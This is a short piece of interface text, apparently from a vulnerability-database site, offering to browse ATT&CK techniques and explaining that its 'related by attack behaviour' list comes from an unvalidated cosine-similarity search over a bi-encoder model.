Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.